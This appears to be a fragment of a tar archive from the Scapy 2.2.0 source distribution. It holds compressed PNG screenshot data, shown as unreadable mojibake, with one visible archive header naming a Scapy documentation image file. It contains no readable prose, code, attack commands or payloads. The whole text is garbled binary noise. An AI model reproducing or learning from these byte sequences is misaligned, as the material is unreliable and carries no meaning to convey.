À@bpë¸zƒ4õæ··ˆõÁ‹mõˆ÷¿ÜÚo0–^óO‡fÙ!¨@Âp¼?>îÛêòÕ$&Çûãã;ƳþxþãøöQãâz|ÔÙZÍWüöàfn­ÇÇ.S=c5Z#º€Û8^wb\½ÁÍdõÆÒë*0ž†[ÇÕ‡‘ÊÆ6䟀DâÖqõ±†èñÎÅãê5i¶á+jüN竈Gq•çN1i^Ñž¯µÜ^ž; $¯µ·/€8Þù\¶VúéÊWwâªÏX‰ñÑÉWàBnWRÄÞ#À@bˆŸùñê»Ç:ãÅÈò%Î jÜÚo)/½s sÔ a _=@bB¾z€ÄäÖþxFï~ðuÉK$¡qU|Ž«wb´æÁ@b‹‡z¼ÓÝ 5ˆ‡qõ&†Í[Êg‡{Ê@kàÖ®Þ¡¯ÈK¯wçx[ïŤôŠõ Ãñêñ0\Y·Jÿ~tVwAD€„áÖqõŽ[ãËm\ÄÇÇÕ{jªÊ³sóJ·lèÚ-·`íºõ…ų^xÃÚIL‚WÇcEœÖkçWofP&@ü“$)Ìz|vnÞÁýÛ÷í­.+Û²¾°ØÑ1wæWé¥×Ûq]Bç«W´Õ#®@kâx¾úÍ׃¸­•‹ÇÕköLjâó¸;-¸Ÿ[ÇÕ»iÜ; ðò°R…|B¾zkÝ ^¸2σ róÕÛËg‡qÄ•ýñz“ßBf³áKŒsÔ‡‘ÏÎCDzˆ ®¬Ç‡œí¦N5o±IßF=¡â‹+ëñ!i6Ô[ g¯áôGÜ:®ÞzùêmA€€øâø¸z'b¼ÞÌxãåêžxÒjÕ·ŽÏ—c?„xñÀ•yîÌ$¥7Xe&_½Eêw¯ 1¹²ï Äuh­âs\½šs÷ƒçsä4ÛçÑñÂÅãê-õÊ;4x^LM¯· .¸r\=Ùv6ã::<ÄWöÇ«çÈée§òíå¥Wãá‘â…+ûãõFÂ[!o#¢«ûãÑñÈ•ùêc£/f¼ãºXƒW¬p!WÖãcûþr"u¤G€÷sñ¸zFoÀ¼Cé•»ÇÕ«{ß –ÜfÞ±•ž´*ë¼¹#ïÀý\9®ž±:?Þ Æðh¢€8’ÐùêZ1Çëñˆñ®àÖþø¸Â»ðÜ£Ôã1üZ¥D¯ÇG%ÀëÝà †\9®žO3ÈW¯—Á^s¡q¢{á±Õ¼xb½^R˜Žç¸5n„·º=€‰ž¯>Ö¬FkDwpŠ+ûãÉÄÜ6ƒ48â*ƒ<öz¿µNÃ^þ;EÀ6˜;§¹=@8\<®^}ãq㨬øm)/žVÔ¡bª¨à.¶Ã«¼z{€p¸µÏYšÝ®y{:'’ÛÛ¨ÇkVÊÙÍå4<*ñସW’:¢7Å›f/½ÕJ9*ñà ׫·Z7h¥îð{Í€üµ5®W¯×nuîœq9Š;Л)ÐÂÍòâcõõöáp¼?žØ-å·–UV”±[ÊGýIUV”I’dû7 è•e[KŠX@ÇüxWp¼à ®ì5õ$6Iø1³Üjùùò-m/Ù=4¸êñJšˆ<$„“B-·Z¾º(ÇË·´½x\K‡WA=¾E¤ë¬zåó˜¡òÃÙÑ ~¹5Ï$G¹Ðã‘«W‰ -æ§³Zgµ•#]'¶wþÛ#ÀÄ5Wæ¹ã7›4ÎóÐ.n©ˆ÷âövóÓ)xBUy©ˆóò=ÂIky4yéâ–ãyñ,l³PíÑ mbhWï+°w¿8RÙa…Ç-碵0œCHZ‡—GB;@¼se=ž„J9)ÃvËÍðÌ‘z¼§¼;%êóh%\™¯žUâ)8Ò[Ý×iêp®®g+¶è >«å[Ý Þ¹r\½Ø³N¤1°NÅõ¶·H ŠphÜo~V›fùŠ«O¨åVËç|»¡ ±¹u\½fœ6ÞvãzPWR½ÖjùVw‰Âù@q¼?>ŽçÇ$ä¹HL®ìç$)rcè4ަêƒÿÀzcñ¢Ì…Éç5OÆUgïÜ]·ÔË­KåaC­rC߶ǧÒã8ÈÝõxóœ ðVS¾¯Š‹Èê*óNqë¸z½˜mœÇ^LhODvóÜ©3ʉgãQ-T§›Õ ðÆËIÈ«uê©ùË=æ.2ôʱº½ñ룷Ê`6Aôóú$Wæ¹ÓK€2½ªmßvž;õäxuNY“qT¤¹¥:¨ç²5¹<ä‰YÍ•kõ|(°\R…mo€(pe¾z=!󨫨¨ÇëÝ…%Q[í=/i÷se=Þ€q{Ûw 1hg6_B\´6»ð 1”À®ÌW¯ÇL{‡æÚé½É]êåæÇŽée¼·*œrôæøé¹InðNqå¸zu»º'ž‚ëñë÷ÖN‡ˆt’·w~[ óêém6òØk–CÁ!Y±£ù¤ô¶óê›?àäÖqõêø­~l°‹½cêÿi;µ»ùÁê–R⇻N9«,•cðzZ:(؃|õ±gµ>ér 1¸;Ï]«á~ÜP$WöÇ;.?Ÿòóc}2–‚ßür{¨ïš(àŽ×ã#Ž×ãsgCÞÌ gÀ]eE™zÌ]$ÛêQ“0Í­÷Ó„Ð`Z”ÆÕ³9f#FŒàì-§àéj!‡µKBxŽgÕ«wŸçJª,òfnc«yž¾ÆÜšç.“ÑŽGhÍÏC»$…vE\W¢ØÞø Õè¢Ãñz¼F®]"-Ñëñqà<@8^ÒÜ9Sx€×{ ø­x ¹cðcõ9ãé|bl«ézËðU!·×<¨‡<&ËÑÜEÜ×j9š‹G1~ `C˜õx³÷ 1l›ß^ì…ˆK,&¥QÄH‰$u¼—‹;²Ë”£ÀÒï*V™)G3–;ò¼Ô— ŽÏwSŒw–Ö…‚Õz<…j¦Ö {&c¡™ ½f¼7SxHêrÄë„s€èKèz¼³´b¼ä²1Œv¼­^èTáš Qkˆ Çëñ.slj½ì¤Õo¯»ô&ÅÅj²œSÇËá º09 rZǸzÍ@n­Õ}ðê…Ö‰=Ó$Ôkõ–ë?½íõ¨Ç¸Y:ÍíõzÜÍ6 Ni•ýñ:á‚fÊab}pB2@Üi•ãê šèA€¸×Ze=>$ÍÔ7N0húpV«WoId*ô|ˆŸ/Ž!å9‰>®Þ­Ý Ò}\}ÈáuM”c#Ï!À@T$t¼^žy“ËC–c+Ï£Î) à¬V3®>ü.ö¨ä«pJB×ãåP¾zÂpzˆŠV3®Þ©´6a—ƒÑáø¸zOMUyvn^é– ]»å¬]·¾°xÖ oDÿ‰Él¹Óì¤WooæÇ@ÔH’f=>;7ïàþíûöV—•mY_XL5Uå’$m-)ª¬([øákS§LŒõsh*+Ê$I²ý›ôÊŠ²­%E, »µ­ •q|~yp³ÖT$ä“·q¼ï²¯—¯^'ê#Ÿ<$ŒDÏsg0m]k•½–Hâ 5óÉ#Ò@D%z=Þ"ä“€„‘èõx‹OFëWïä“wJè|õ|+õ­e¬Þ>òÉ€›9žçÎemõfn?ÆÌ:Í ­X(þ‰ Qãx¼Ëêñ­òÕ$¦DïÞéλÞÝ $Ôã‡<öà¨ÇGòØ@¬´¦qõ–O«C{ˆ; çÎx6|ÈåÔò‘ÇâNBç«çñ[Ì„#®5 yì î$t=žŒn1g)Æ#=Ä„ÎW¯Ù¯·ÓÇb+¡ÇÕ‹=î$Äx“ËíB{pƒÖ4®ÞÒr'¼ñBä±€ˆB¾z-Ez€Jôz¼=íÿ¢5®ž /S7H[]î(6#N1fžO“3¹Ü (KÇu¡‚‚½ákãå´*ÑWÏ¢µz¸Õå&Æ*1žé-W¯U,t«çcð4R]÷¸í)´rŽ«×o«÷ID’ªvnu¹s êz«ÔËmøè×w-E_3k&*((PWý V¢›ç.ba^ 9Šdõr½ím0ðêæ}3çr{ãrÄ*µ¢zm|>|UÈJ¹Þ*„yW‰ú¸ú4Ú‹mȤÚÕËùBu9캡^½\/YlÖ68®¸—xªzÏËøùÚ8QÈg§(\+êãê#0øN¬>†{X9¤ `zË£#¢ÜMæwwŠn¾úˆ®W7PGGZ§#útì®·W ¯„@-Šùê#àyºÉ¶kgÔdó~Hî) ^8>®ÞSSUž›WºeC×n¹k×­/,žõ‘žoi é´Q[à¦yš{é¥8®Ái›?%ñ zOÙFk¼Þë¦yÎà’$…YÏÎÍ;¸û¾½Õee[ÖSMU¹$I[KŠ*+Ê~øÚÔ)cýZ£ÊŠ2I’lÿf½²¢lkI è ‘¯ þ9>®1À¢˜çŽˆT·ùÂÝ_òMß †m©ØžÿiryÈò-í"’T³ù=íµl¹ñö!Ž|¿yIÈ$ò~µì¸â9hž?çié|HëÅ1X%ž³øgÎS<ŸÐ…›ÞÒ6)8ƒ 'ÐÊEq\½N€ÏÏÏ׌ٖˆ%¨¯¬–Ι0üÛ\3Py<ÚQJ±<$Å7;÷ì+^2ÎdúäÕ!ÊäyÚ8K¯›¸Jóâ rçipIΛ=âù+žBLfš€{D¯ï`• ë­ ?l›—®øNWW49®ín «KRèÓ6ÿúXòu3yIÄ„žâù(^Kgbñù«?QHᮕ’šy¸z½ßO<ù÷üü銵c|ÈoÐh¯·*üz¿³eZNõŽWÝl42GM„Î'ÒÕbÛx€7hœ×ì_Pl,înéºPï²a 5ËÎͳ±×¢ù¯k.טé¸ëI'Àkö|«Ø5£¾ÕxÅró¿íQ;|_ëuk—,ôÁ+úãÕ˜&öš¯O$ÎÇÞ°.rãì1x"¼Ë_dpþz¯3<8Ew\½;‡øFóÂ"ÒòmøŽÔGà ¨NOÔ†³™$žAã¼¥¶º½ÆY!À@äéä«03?Þ _pÏÔ)c}à¼ÿ)G2£ü4wIEND®B`‚scapy-2.2.0/doc/scapy/graphics/scapy-win-screenshot2.png0000644000175000017500000006573211170743163021321 0ustar pbipbi‰PNG  IHDR¡\w$ðS IDATxœíyœEµøk¶L2 É„„Ía{OÙæ"* ÛDAÜ7#O@¶ç† îl** à“EL ,ò@ – ‚O ~@B¶ ÉLf2™ûû£ï­©[Ë©SK/÷æ|?ó™Owuõ9§O-§«ºoWKïŠEŒ ‚ ˆæ"I.hgŒïÞªhK‚ ‚ˆÆ­·\ÅkOwæ?óx¡ÆA™v¾µùÝÚAADÞ|ceºÑ.¦N>ylÆÔÓÂZ쇔,-ÚTÓ!YŒæD@S‹šK“Õp¨>KÉ[wÄ|HH32z¶ÅèqP%ª¤”sÁ³tjFΊIsTp‡ánO>(JJ°×t–©,Ì9tW"5_$P¾†â€ë‹¹¤j–»4(°vØËW']¾¬ÎÙ@ Ò´d ¤Ì‡Z¶%¢Ï³õŠú,Ø’2æJJqàAƒ `Ë­Wlaë„CP‹*3y‘o·hAAÙÑnÏBA„ÀÃ_uÈ|æé_¾ä²«ò?ñΫ=´¤g‰PŒ'‚ gV­|“í¾{ïñËr‡bñ¯'_ZwõýkžZ¸ÎtÊú[þ-ݘtüë+û*<ýÅË7Ý~³ÆØœúæÂ¥ëyzwWË[¿ycl“Þóo³Ië?.ßœ1öÒâ¡ÎX¼ñé¡ÎϾžn ÜøÆØa/{ðùAцµ7l‘nŒþüÕ”ßm!ÙùÀskoûÛÚkg÷—?¡«åÂOŒ;`çÎí6mgŒ½´dèÁù×ÎîŸ÷ÊÏó÷MJîòõ·^^:,žûÿ~±)clË“—ôö\×Ö“[ŸûÑ&Œ±…K†¦~kyšxúacŽÛ̶›¶§é>?xÙ¬¾W–3Æz¯Ù4Í3åÔ%½±MÈ®[¶zÈèýÞÕÑ=¶•1öЂÁ»ž¼q޾î|PççöíÜfrcì™ECwͼòÏé¡×/›˜nìøí•«ÊáÃï3¦h‚(—¹úÊpKe]KeÈö·ŽUÖÛ¥ l»iÛÜl2ý¬É<À3ÆöÞ¾ó+‡ŒûÕ4è »ÓçTß6<îŒUïT®«ÍýîºlŠñ<Ûuõ3Æ.ûü¸=¶ÑžÙ/Tg&f>Q»‡Ø¿€‘߃gO<ýЮm6)`ni·)mÚôm&·ýø“u·‰?úĘ©S4vm=û#ccœWúö}ú*M‘ýé˜÷X¶ÅflX3F¯TØ!;m´z°¥{Ôú÷þßôß½Íæüã!6åÓ±8sÒÆãª=ì7oXyÕýkzû*Œ±cöý«iy×rëãÕ˜´÷ö£º»ZzkÓï ßZÿ¯Åë¶ß¬cûÍ:¶Ý¤má[U›µãøm6iÝn³vÆØK‹‡^~kdÜÄ1ûŒ¹æÁ¾çZsŽ©ÍÞýžÎ ?1>Õò‹ãÆ?8i¯ð¤à†“«7 O-<åºUϼ2ÄëÙ©ã¬#ƸK'cìÂOŒ¿vvo{yéðKK†¶Û´}»MÛ·™ÜʧëØy”´ÁÛzr+Ÿeé0c-<äŸ;ýíËfõ§yÎ8¼ëö'«CÏ;ž¬^ÔÛtLÃ6œéú ïèïí«üîÑGþoˆ16~ ;çÈ®/¼4cìÈ=;¿r½üãÔ•k†¿~KßÝϬcŒ}õ ÎsŽìbŒ¹GçI¿íûã3Õ?uJûø1lÕÚ\/„ ˆ23y³€£K/ˆ®Ñ!ÆïV™»ê©'ZÛFi¾ô<«0¶„±E•¾ÞÕ›·WÖ ióÕsЮ£øüü±?]:ã±µ|UŠ­½ÿïoŠOÍ¿qä¸|¶û[7®üñ#£íésúŽ}_cì ];o{|¤C}àÙô‘ü‰u}ç÷o3ƺ»Z¶Û¬:ŠÝn³öî®–•ý&Ì<ðÜÎì¦S»·8i 23clæÜ™sßšÿãM¶Û¬}⸶sÉÝÕ°qô»;'ŽkcŒ½´dèÉrV[aöóëf¿°â‘ó6ÞsÛQŒ±³>4öÜkcÎLçóësÞŒ5Œ± ]-Û sïj÷:|¢ž¿@0±6xÆØ+K‡OÿÝjq……™sצ·=;â!Ÿ16uJÛé‡uõì4*²pÉмECw<1pÇSƒ>»;Øæ´·ÄÛ‚©SÚüÎÆŒ±§_^wÐ÷{§Ni;íÐ1ûïX“ðÖÐ3¯ ÝñÔàO 2Æ–ýj2?qé/«Û“ÿk)Oüüû;¿øÎÝ·î`Œ½üÖÐC Ö}ïö¾^!‚.ùÅ$ÆØÇ¯è=rQGîÙ™j™÷ʺ;Ÿ¼ëéÁS³ß»:¶Ù¤1vÇSÞÙ·hÙHÕzöµõÓ®[ÃjÞ_ÕϾqK_ã%¾ñ‡~ÆØ]óÖ=ò¡ÔmW>0ÆxÎO¹G'cìƒïl¿ûïšvð™}:>¼û¨ýÞÕÁ[Ù7üÈ?†®|`í³ÿo˜1öê%ÝŒ±Oÿêí#¦ŽúðÔŽî®VÆØß_úã3ëî~fÝWìüÀ´o=¹1öÇyƒßÿßµ¯.¯HÂÇfßúÐè#¦vtwµ®ì¾ûãë,Z>õžŽO¿·c·-Ûc¯,[ÿè?×ÿèž~§ráÑŸyoµ8ògkæ¿^½ËÜù­wžZmG7?>øÝ;ª5ç“ïnÿÔ»;vݲ1¶hÙúGÿµþ'÷ƽïÙi‹–iìØw»¶ ]­Œ±Eˇç¿>@MQqˆñC yú2eÇ£Û»÷ÆT´iW6ÿú¾Õ3“›¾àc?ølwú¿>Æ÷§1þØ}ƈ1~Æcý©ð/46ñÒ3øƒví¼õokc'Xí o} ;nMgì?ûó•Èü)çüaÕM§nÌûØ{Fó|OUûwÿð¶zÊ%w¯¹á”QŒ1>Ç>sîÚèbŒ¿5ÆKóóì4êö'˜0ßΟ²?ýòºTΗö}ýÃúŽvæÕôÞ£yŒ?j¯Q¿=©î Ŷ›¶§“w<5øÛGúS±Ý»ó·Œô‹_ü`Õ€Ëïí?rÏQ×e|„Mڷݤ1–Æx€)“Z¯ýò¸4º§l³Iû6›´ñƒcŽ¿fÕ]O×uš·~m‚¸»ûÖ»oÝqîGëåµgç~ïêøÏ÷Ša^â;©çSò_æ9ü=ÿÇyëÒÿ‘ÝGI1~ÊÆ-¿ÿ¯q[Oy4ÐÝÕú‘ÝGM™ÔzÄ¥«yâÍ'm$žµÛVí»mÕ~ö‡ë |x÷Qxgû—­ÃüV·üñ´qéA*ÿÈ`«‰-?ÿܘ4º§l=©mëImŸy﨓oè»ç¹õŒ±sfìúo­»nÙÎûùgFð“j5þùgª÷CϾ6t΃-Œm9±ågŸF÷êµOj›2©íÓïuêMý³æ»½²câÐÚ®øTÝ­Ø”[§lÜÊ»·vk»e7ûÍG§‰)ºZߥu«‰-Ç^]-²ù¯ï»}5Ä1­ŸÜ»õ°Û½|àmå¶ÿ¬ƒGšÛ¾Ûµí»]Ûž\wÁÿ1Ʀ?µ>ñÿ¹Së­óFî0ŽÝ£ê„ßüuÕ§8RÕß·]Ûû¶k›þÔÐE÷®gŒÝúôú4ƲCÛmÏŒ¨øøîU×=DZDv˜B2<ij¥ùžÇ¯¯´0Æ;ì°J¥R©T;ì0~¨R©ë++ÆŒg{mW­Í?¼]á$¾uãJþŸóÀ³ÕV˜FzΟŸ\¾z=clãqmî2ŠÕžÁ¿´xÝK‹‡øî;JŸ,_½þψéwÆØÏ®eŒ³ÏqbÃ̹USÓ¡yu{›j—ªÕ>ó‰ê)Ö^ ˜ýüº«×3Æ&ŽkëÙ±ƒÕbüKK†.â»=;v¤Ó+V¯ŸýB5 ž7£E®øâøÛÏœ°õdMéÏ®õŒâ#ÿË>?^ÍÉ»|Vcìöš‘<¨3Æ&Œa_Úo clÅšá;Ÿ¼ôsãôîµßWI¾îЉã§LòùÆÃı­Òà›óæ¿yÅÆ§2†1¶rÍðEwZ,üܾբùÅÕÛ¦‡ÿQuøGökÈÍõžså>cÛî®Öo¨.‰Þ)À‹üâs][M¬ŽO¹qíʾaÆØ”ImÓöë`ŒMÛ¯cʤ6ÆØÊ¾áSn®^ˆàE~ö™1[NŒ³:ç÷ŽÔ·Á«ÿ2rç'xÎ5Žä™ÿ†ün˜Ö3F >±WÇŽ›·0ÆøÌÁ±{Ž\øFìØ½Úc½ýÃ÷-°? Ôrìží;nÆc÷-¨†ðï!ª¨³Gc¬·¿rÿ‹¸ž—h@øÍÁäÍvàÞ:½ïã×1Æî¹çžÃ?üðÿçž{˜ÝÅgûÍ«}÷Â%öÛÏݹºí“¯ýøÎÕbâʾÊÿª†¥¿·®¿ão×§¯Ô¥ãøõ§éé.)ïÖDZìg~V½É¸éÔo€O¬½‹ÐÛ‡mœ·ÕîÒ0œÞjÌœ»6¯§1žGh~—À›ýº/\¹rÅšaÆØ;w>ûÃÉ·Ÿ9ajýëf½ýìé—«}ßQ{U;P>É¿ÿ÷–wù­êß´·žY´^Ž{_ª¢%MIGó)|= â›)¢cžßûÜòÏš5kÖ¬Y---Œ±ô?ù…puíexi6žñÙg Ïc|úHžßðÌVVöUÎþý*ÆØÆãÚnð}Ç>þºßÇÞÝÉÆÏœ;ΤäÞ»ê é×ü·?9¸Û7—ž;ýmé9oRò±º©ìô%|&<¸ôžª‡{v5A÷Æ}ÈcGíY=å´Ãª¡÷·ô3Æ.«eØÇ­GíU½ã¯Yýð‹Õx³hÙð1W¬J·÷ÛÁøµ¯ÿ¾OÝ­üø“]é/âLÜòպǶ®\3<íúºPÊcðß9bÞ‡§VóÍé}7=V½Gyuyå¿þ2éÛ3Fî>¿}ëZiCäˆÝªº¾5£ïìÛÒ9üGÿ‰ê÷?´[õ^ä”úÿúÏj\yuEåó×T+Ãûÿ}$nÝóÜú›dŒuwµ>}ÞFéÅͦóùŒ±Ãw©J;õæµýWUÚk+*_¼®*mßíõCü”\8¶ú÷½êŸ)çUré~ïyØÎUEçÝ58ýɪy¯­dgΧÍÎ8¨}Ö©ÏŸ7æÚ/Tíò‘Ï¿Y½{xla%¹»Zˆ<âò@~ÈÕ”ö­ ™ñ6¿°¸ºñøË•ïýoUE:UÀ»nNµü®jÊqûTUÜ:bÚG©¨Åûô<ÆŸÿÏÛc¿«e˜ÆØŒ§×‹oáM‰ô óHÞ¹¥¥CötÆžÕÆñÌw(ÿ俪ÑÁ»ùÿ˜˜O×óGïþ‘œôi=«îÖÇÖ2Ǝݧ:Öœñ˜óÊ}_½¶×õ”j¯×ñÉpÆØS/W;ÊuO÷¬¤Ÿ~¹.*Üö·ê…|ì=c˜0{ŸåÓD1›–ËfõáÊês‡3*ñ¹÷‰c[÷¯’Ï¿­o믽ué=k.Úc›Ž3;ïâIâýô·õGï=š1vÚ¡uƒø” föm{úÒËfõ-|kh÷­;N?¬ëÉ 7ÞÚëiºÈËoÅ—«úÙ'¯¬>:Ò0¥ÿ᩟ÿhÆØÃ oœ# ùt}÷ØÖü4fm^YsŒ¸(ž´ŸÞ¿nï‹×\õðà¢åûü[Û´ýFÝÚè-]æ×Î<¸ƒ¿TάùCŒ±Cwjg ~úÓ1½÷§Ö³ZŒ?nŸêÍ â $}@.þe¤%ÝXºxøl>Ëù{#|–™3}N_úÛ¹_eâŒÇÞp=sõköÞ~cì˜}Æüù¹‘wÆcýâ»xü×q<7ðåƒÇ ÙœßxzpþàÏ®=hWì÷à¶Ù¤5}žÕÏÜö·µéÛg1–¿”ǹàÕQÔmsë,¼mîäL˜ðùÁã¹Þ™Ê ^âváñbúu¼*ÿЂêIo?;ÿ¶¾óoë;j¯Q¿=iÂı­×MàÅÕ»„;žHü¹Gw¥ç.|k(}`ÏéígÜÞ÷½ÛûŽÜsÔuÓÆOÛzí´ú>t·ôò[CéWq¶?k™æÓ°[¦lÜrõñãc+× ê—k´fÜ8g ¸x÷Qù¿~ÆØËK×§Ïã?ðmÁM¡;±²o8¿ÿßÛý§Ûë]¯,[¿õ¤6ÆØÔóV­ZÛÂã¿bÕráG;w^ÐÛuËö ?ÚyÎÕú¶hÙúô-¼=/X]ý¥\M¦ÄÞyNíÁ®|ß^Ë.¹Ý%÷¯;t§¶Ë?5zBWëeŸè<æªÆØ¢åÃéè|Ÿm[[¨÷Éa; óùO­gŒ=j~nŸmªö½º|DòŸ^>lgÆ;ý€¶ôÁü«Ë‡ùˆß•÷r+DëÓÿµž¶ô1Á«+†,Ö JGàîK/ˆ<ŽooÅfnmia-¨:=}N?ûýŸ?Ûì˜}ª!³»«åGŽ[zíÛnŠñ×ëLäSøì½ô†ÝŸÑ¿Œá/ßY9úÝ=rõwð‹‡ÄX΃÷žÛŽúÝW'lS÷ìÔñì&§ÏÚW¬^ÏŸ‘§ÈOÙk±\š™—²MÃn?sÂG…iùäãÕôñ¼ °jUÏŽšÙ…—kßï îxj0§Î¿Íø¶— }a~¿wµ3Æ>ÿþNÆ¿Ãxà[>²G‡˜gú©©çú±ë–mW7–Ï0OÙ¸åª/U¯â奚`|ËÉUÕÒcx‘»j¼ûà;«±ð‘T§~õűGÔžÍ~ù…®­À§þHþòUùW~¾ëC»Vå‹ÏÑ­{çׯ¾ëÈ)ûnßú?'Èïð]ÚÒ_ɯìÞãü·Ó×ì?ýÞQ‡ïR=‘¿pûÉcÛE¶]ëõÇeø™äWWT»>E?ç_UK.ûĨtþœ1¶ÑhvÉ1£øXŸ¿¸7ç¥t| ut;Õž‹ï³mËO©¶Ž9 G*ÉŸ^îífŒðþju½ôÏnSMé+ôŒ±÷nÓò㣫By¤…Þÿb%]–âø÷UKùŠÙ4ˆ/’t`-þásbÎÏ…STÆñ«Ú·ÚæÝǶµY¾Â݆×Ú²wUçVöU¾uCïU'mÌÛ~óŽégM–2üjÚÄC/¬¾q­ý—£ý°Ýʾʓ/ îµÝ(ÆØý¯‹ë÷ÿ}íÁ»fŒ=ùÒàJô;í’Òïü~ÕEŸÒÿ®Œ1Ö¯,NÃ;âGËÅÝÞ¾Ê9·¬ºð“ãcW3€øÜ•òÍDo_å©…ƒéoðþ<¿.®ÿyþÀ;w2ÆžZ8(½«Üþcܹ3=*q}ý=Do?[¸d(ýüÖ“[W®~åŠMÔ³Ò_ëqnb€ÿ(?ýÉ?4a [x™\¸Œ±…ÂLûŠ5ÃéÃõÛN¯ö¾¿{tà‚™kÒÚl³Iûµ_–]ý‘=:¤ßÇûqÎQcößa”vZþ†Gåû¿ßÿ×Xþ±ú?œ,ßg¼ãôéÆªþêÀ}›ÉmS6nY´¼råk?¿o'c¬{l믿T÷cÂEˆ¿wè§a~ùà@úZ_wWë/¿ ÿe`ÊIûúÖ£p÷Ú_ÕÞYûá=Ú­£»«uëImW~N>÷ð]Úøût[Ml¹èèjœþѬUkÙf \ü±1Œ± ?:úÙÿ×÷Ú öã{ßµ½»«uʤ¶ŸF®Ò‡íÜë÷ñfOœ­y#oQm`}õ_Ö}òÝŒ± ]­—}²îöâµ×<0Ä„±þŸN“Mݨ“½]ÿfú4Í=Êôú÷éþôüð±{|QGýÉÜqû´qPÇ¥¬Óþœý÷'hêá­õ³ý÷-XÌí5ô“9ˆÃ8þ¹¾^sȫ‹:z£²ýÐø½b¯~ ï3W™Ž> fþ mNÓ:4ü­{i½¾{µíõüå; /-Úñ¬%êçr/ù߾ߨsÿ°¿û’¾]¿hyeÚõ«µ9?<ÕrëŒá¹ÿ7|ãԌԷŽÍÿ§¬ZËN¾±?‘«œÔ3rÉ?ÿìèô‰À¢eëo™;Ä»eîPú|½»«õçŸJûÚÍkMÒ¦íç‡sŒ±Ë?¡[â¼;«‘ùµ•ìô[ô7O‡î\‘ÓŸ46ác÷²Ï‚œ9c@šŠ¿÷ù‘ê¤}þŒƒ:ø ÿ}Ûà õSñüå>FOâ ‡?Þÿ™Ÿ-ßùëo™¾‡êõoï{îÒ[ïçïÏ?µpð§\ýޝ.6=SçïÙÝVÿŸçWO<ò'+Îþ6ãoÅšáÛæ®ý•+?z©æ®{¸ê®îÕyÙ=}3ç®åvá’¡ëêŸzö2>‘ž"îò_Ó¥\voßíOÞºþáþ=¿³üá#Ýë÷­=ÿ¶Õ<ÏíOÖ>)óâÐÞ箸üÞ>þ›xÆØ¼WÖýö‘þ³n޳ úEwõòÃ^þI»•k†ï|jàÄkßþÔ•²|Ó—s´ÜøWþ+öjo~÷3Cïû^ï xe)Ÿj¾kÞàI¿s!gß¶ö3¿^ýHí#<+ûôQÿw¯åÿ9ýçúý¸ú—®ý{ý ó7=>xömU!=òþ”›FNçÛfÿi IDAT»nÙ~áQ£cý×ð?éûÕìþ›xÆØ³¯­¿ùoƒß½#ÚÇl¯þ˺{ž[×[»™X´|ø–¹ë¾´oŽðèýÞ燹´ï–¹ëøà¾·oøžç†Î˜^½¨ß<:ôÓûÓ öEˇ¯þË:þ ô•u‘ô•:VýäíбW¯Ãm ÿô,3ü,þÒÖñÿ*ü¡·¿rïóë?õ›ûÈÃô¿½2’Bß¶#ZzW,ß½Õügß|‹îÉ'‡š£Eæ÷lZÌ/î´hSM‡d1šM-j.MVáø,%oÝó!!ÍxÈèYà]IH¥NÞŠ«6aŒÍ|bí W¿]—<«ÞJÝÓ!SY°:wéöäC€ ¤{Mg™ÊœCw%ÂQóEBïÂê‹ÃöÎ¥8t mM£Ó^¾:ñèòeuÎjÐÈ÷êw¾ ßpF]uxö»£c÷>?ôß· É™ ýÿ^ýÔ‹5·eªOç}»“1ö§ÖãŽõè®O6Ñ;jiráJJqÐMd[n½b ƒŠ<ÔÒÂ{ø«lÕÊW× Ú“5ûÁ‡3÷’Ë®vÊÿÄ;¯öÐ’ž5ó˜ß|cå‚Ï<:gnëxMÉ„1ì¼UŸ1ÿöZmØ@Ù¨“yPí)ú»7Ž**§PU1ƒ&ê ŠñDÒá{ÊÂ%C-X  ¢Yyî»#¯8¼º|Xœ´E:|¯ªX1ü·W*Ðô±ÁùaÄΊ5ÃG_æüu ‚h2zû‡¿|j«•“nŽð£¢¹¡q<‡§_^wÇ“Õuäh\Al¨Ì}ý½ÏgúÜü7†ï{aýõ3Fm°@1žˆÀÄiomAdÕf—ï­e¶·#MìvÑæK¡»ßëÃ÷Ć Åx‚ ‚pæ¾{Ý–hqÍr‡b(\2,§lG"`Í™µ%@zvå’¿l¥Ù(xø­<®.%„H@ŒO áV›ˆrz–DŒCy¶í8Μƒ1Nù æ³¾®¬ïüìrÏ*æÄl›l°æ×*å% ËQR…úižÀºáäsdºÉK¦1 Õ1ÝtÔ›DÙÈž,|n·®j¤÷ðR IÙ©.¡Ÿ#xr£G7…V¸=¢Ôé^0D—[o¹*¢´àwîó}€”(-=GZù§¬HS‘L׿áá/ìU~\Lòý¬5É7^•û¶(¿ÅÊïgv¬R‹EøüMÚäù.æ¤ðF¿A”œCH$Éq6ç÷êÅ $Å0)âÚê!©­ò]W;a½¦£¦/buæzCä3[ïo²Çj ŒS7й.“Ó€£e(—{TÕ*NöK–¨·JJ‘öhM‚:™dÍïÚ/!+ƒÖŸ®é¢"5CyîáÊL¥RY¶äÅI›¾Ëïÿª•¯Jß²e½+U*•çæ=¶tñ‚¿ÿõ§Xô5A”¿q'Vµˆn!©,]¼ R©xÿOúÒÅ ž›÷XÐ[‹¾"‚ ˆò"$d~ºh„ªÂGöä"-£ºV­|ÕïÿEÿDHß«'‚0â„(hY!ÁŒïÞÊã,Ó›zÍù½zíÒOÖÅžÃÁ,ÕÌ·Õ%™™am+§Õ®´™‘k8šìwݶj®s!€d§mXŽÇb$ÖB÷³Ç$ŸÜQ¾S~x7®TæçgXN («p¼|“Ãáôò”NC#­‚n®>6!EJç»b)§!çr`ÇÇû&NÜC/j¿ª×”âd§$ßÕlØH×tŒ¼ýIèöcDYsJ§dd)›Öoå;åõz8ÐCcá k¦U óœ_¬xQªD ‚h:;Qþ‡K³ Wä…wͶ¶«À6ËÕ…K†å”­ãH¬9³¶HÏ®|Cò—­4¿•ÇÕ屄 ˆñ‰!Üj‘CNÏ’ˆq(Ï– çÁ™s0Æ) Ã|Öוõ=ŸýQîYÅœ˜m“ ÖüZ¥¼da9j#BªPÿ# ÃX7œ|ŽL7yÉ”'ëêM€ïÕ'†¸›()9DÓëZ±2­…€p';Õhäm¶öD“1±Z©j¿Õ$SmçÇÈt=£7#¿Iz é=‘5–™-`¿t£bˆ´'k—:Iv5p3û_U”R©I5‘íÐÁÄSá’iCòh®BÄ–£ š¢*ÇI¾šî _bN­‘H9ªì —¬Ê‘zÌXåâgO¬üÚ£H˜ªnªlùãç7Ê¢”hDÀÏja>ÑEt5EL7õ&Q6²'VGœµL@‘“ÒÜlÃS 